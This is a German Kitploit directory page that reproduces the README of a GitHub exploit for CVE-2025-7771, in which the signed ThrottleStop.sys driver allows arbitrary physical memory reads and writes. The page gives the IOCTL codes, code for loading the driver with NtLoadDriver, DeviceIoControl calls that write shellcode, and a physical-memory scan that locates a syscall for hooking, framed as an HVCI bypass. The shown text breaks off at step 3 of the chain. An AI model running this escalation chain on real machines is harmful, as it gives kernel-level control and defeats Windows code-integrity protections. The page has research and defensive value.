Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/d4rkks/cve-2025-7771-vulnerability-exploration
Privilege EscalationSpeicherforensikExploitationPost-ExploitationPapers & ForschungLernen & BildungBinary-Exploitation
GitHubd4rkks/cve-2025-7771-vulnerability-exploration

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-7771-Vulnerability-Exploration

Erhöhung der Systemberechtigungen von einem unsignierten Treiber aus unter Ausnutzung der Throttlestop-Sicherheitslücke.

Repository anzeigen
13110vor 5 MonatenNoch nicht geprüft

🔓 ThrottleStop.sys Kernel-Exploit — HVCI-kompatibler Physical-Memory-Mapper

CVE-2025-7771 — Beliebiger physischer Speicher Lese-/Schreibzugriff über ThrottleStop.sys IOCTLs

⚠️ Haftungsausschluss

Dieses Projekt wird ausschließlich zu Bildungs- und Forschungszwecken veröffentlicht. Ziel ist es zu demonstrieren, wie ein signierter, vertrauenswürdiger Kernel-Treiber für eine lokale Privilegienausweitung (LPE) von Administrator auf SYSTEM/Kernel verwendet werden kann, wodurch moderne Windows-Sicherheitsfunktionen einschließlich HVCI (Hypervisor-Enforced Code Integrity) und Secure Boot effektiv umgangen werden.

Verwenden Sie dieses Tool nicht für böswillige Zwecke. Der Autor übernimmt keine Verantwortung für Missbrauch.


📋 Inhaltsverzeichnis

  • Zusammenfassung der Schwachstelle
  • Betroffene Software
  • Technische Analyse
    • Angreifbare IOCTLs
    • Ursache
  • Ausnutzungskette
    • Schritt 1 — Laden des angreifbaren Treibers
    • Schritt 2 — Physische Speicherprimitive
    • Schritt 3 — Auffinden der Syscall-Seite
    • Schritt 4 — Syscall-Hooking über physischen Schreibzugriff
    • Schritt 5 — Beliebige Kernel-Code-Ausführung
    • Schritt 6 — Forensische Bereinigung
  • Warum dies HVCI umgeht
  • Auswirkungsbewertung
  • Build & Nutzung
  • Empfehlungen zur Schadensbegrenzung
  • Referenzen

Zusammenfassung der Schwachstelle

FeldDetails
CVECVE-2025-7771
TreiberThrottleStop.sys (enthalten in ThrottleStop)
AnbieterTechPowerUp / Kevin Glynn
TypBeliebiger physischer Speicher Lese-/Schreibzugriff
AuswirkungLokale Privilegienausweitung (Admin → Kernel)
CVSS8.2 (Hoch)
SignaturMicrosoft-signiert über WHQL / Attestierung
HVCI-Umgehung✅ Ja — Treiber ist legitim signiert, von CI-Richtlinie erlaubt

Betroffene Software

  • ThrottleStop — alle Versionen, die ThrottleStop.sys mit Physical-Memory-Mapping IOCTLs ausliefern
  • Windows 10 1903 – 22H2 (x64)
  • Windows 11 21H2 – 24H2 (x64), einschließlich Builds mit aktiviertem HVCI
  • Getestet auf: Windows 11 26100.x (24H2) mit Secure Boot + HVCI

Technische Analyse

Angreifbare IOCTLs

Der Kernel-Treiber ThrottleStop.sys stellt ein Gerät (\\.\ThrottleStop) bereit, das für jeden lokalen Administrator zugänglich ist. Es implementiert zwei IOCTLs, die uneingeschränkten physischen Speicherzugriff bieten:

#define IOCTL_TS_READ_PHYS   0x80006498   // Read arbitrary physical address
#define IOCTL_TS_WRITE_PHYS  0x8000649C   // Write arbitrary physical address

Physischen Speicher lesen (0x80006498)

Input:  ULONG64 PhysicalAddress  (8 bytes)
Output: Data buffer              (1–8 bytes per call, determined by OutputBufferLength)

Der Treiber ruft MmMapIoSpace() auf, um die angeforderte physische Adresse in den virtuellen Kernelraum abzubilden, kopiert die Daten in den Ausgabepuffer und ruft dann MmUnmapIoSpace() auf. Es wird keine Validierung der physischen Adresse durchgeführt — jede Adresse im physischen Adressraum kann gelesen werden.

Physischen Speicher schreiben (0x8000649C)

Input:  ULONG64 PhysicalAddress (8 bytes) + Data (1–8 bytes)
        InputBufferLength = 8 + DataSize
Output: None

Gleicher Mechanismus wie beim Lesen, schreibt jedoch benutzerbereitgestellte Daten an die gemappte physische Adresse. Auch hier keine Adress- oder Bereichsvalidierung.

Ursache

Der Treiber wurde entwickelt, um ThrottleStop (ein CPU-Undervolting/Drosselungs-Dienstprogramm) das direkte Lesen/Schreiben von MSRs und Hardware-Registern zu ermöglichen. Die physischen Speicher-IOCTLs wurden wahrscheinlich für den MMIO-Zugriff auf den PCI-Konfigurationsraum oder CPU-Temperatursensoren hinzugefügt, aber die Implementierung führt keine Grenzüberprüfungen durch:

  1. ❌ Keine Prüfung, ob die physische Adresse zu MMIO oder RAM gehört
  2. ❌ Keine Prüfung, ob die Adresse innerhalb des vom Aufrufer beabsichtigten Speicherbereichs liegt
  3. ❌ Keine ACL-Einschränkung über die Anforderung von GENERIC_READ | GENERIC_WRITE Handle-Zugriff hinaus
  4. ❌ Keine Whitelist erlaubter physischer Adressbereiche

Dies verwandelt einen legitimen Hardware-Dienstprogramm-Treiber in eine vollständige Kernel-Level Lese-/Schreibprimitive.


Ausnutzungskette

Die Ausnutzungskette führt von einem lokalen Administrator-Konto zur beliebigen Kernel-Code-Ausführung, wodurch effektiv eine SYSTEM-Level-Ring-0-Kontrolle erreicht wird.

Schritt 1 – Laden des angreifbaren Treibers

Der Mapper legt ThrottleStop.sys in %TEMP% ab, erstellt einen Dienst-Registrierungseintrag unter HKLM\SYSTEM\CurrentControlSet\Services\ThrottleStop und lädt ihn über NtLoadDriver():

// Enable SeLoadDriverPrivilege for the current process
driver::util::enable_privilege(L"SeLoadDriverPrivilege");

// Create service entry pointing to the dropped .sys file
driver::util::create_service_entry("\\??\\C:\\...\\ThrottleStop.sys", "ThrottleStop");

// Load via NtLoadDriver
NtLoadDriver(&driver_reg_path_unicode);

// Open device handle
CreateFileA("\\\\.\\ThrottleStop", GENERIC_READ | GENERIC_WRITE, ...);

Hinweis: Da ThrottleStop.sys legitim signiert ist, wird es selbst mit aktiviertem HVCI/Secure Boot geladen. Die Windows-CI-Richtlinie vertraut dem Zertifikat.

Schritt 2 – Physische Speicherprimitive

Mit dem Gerätehandle kann der Exploit jede physische Adresse im System lesen/schreiben:

// Read 8 bytes from physical address 0x1000
ULONGLONG phys_addr = 0x1000;
ULONGLONG data = 0;
DeviceIoControl(handle, 0x80006498, &phys_addr, 8, &data, 8, &returned, NULL);

// Write 8 bytes to physical address
UCHAR input[16];
*(ULONGLONG*)input = target_phys_addr;      // address
*(ULONGLONG*)(input + 8) = shellcode_qword; // data
DeviceIoControl(handle, 0x8000649C, input, 16, NULL, 0, &returned, NULL);

Der Exploit kapselt diese in Hilfsfunktionen, die segmentierte Lese-/Schreiboperationen (1, 2, 4 oder 8 Bytes pro Aufruf) für Übertragungen beliebiger Länge handhaben.

Schritt 3 – Auffinden der Syscall-Seite

Um beliebige Kernel-Funktionen auszuführen, muss der Exploit die physische Adresse eines Kernel-Syscall-Handlers finden. Er zielt auf NtSetEaFile (einen selten überwachten Syscall):

  1. RVA auflösen: Lade ntoskrnl.exe im Benutzermodus über LoadLibraryEx(DONT_RESOLVE_DLL_REFERENCES), erhalte die RVA von NtSetEaFile
  2. Offset berechnen: Da ntoskrnl mit 2MB großen Seiten abgebildet wird, ist der physische Offset der Funktion innerhalb einer 2MB-Seite = RVA & 0x1FFFFF
  3. Physischen Speicher scannen: Die physischen Speicherbereiche aus der Registry enumerieren (HARDWARE\RESOURCEMAP\System Resources\Physical Memory), in 2MB-Schritten vorgehen und Bytes vergleichen:
for (phys_2mb = start; phys_2mb < range_end; phys_2mb += 0x200000)
{
    candidate_pa = phys_2mb + offset_in_2mb;
    read_phys(candidate_pa, &first8, 8);
    if (first8 == pattern_first8)  // quick check
    {
        read_phys(candidate_pa, verify, 32);  // full verify
        if (memcmp(verify, pattern, 32) == 0)
        {
            syscall_phys_addr = candidate_pa;  // found it!
            // ... validate via PsGetProcessSectionBaseAddress
        }
    }
}
Tool herunterladen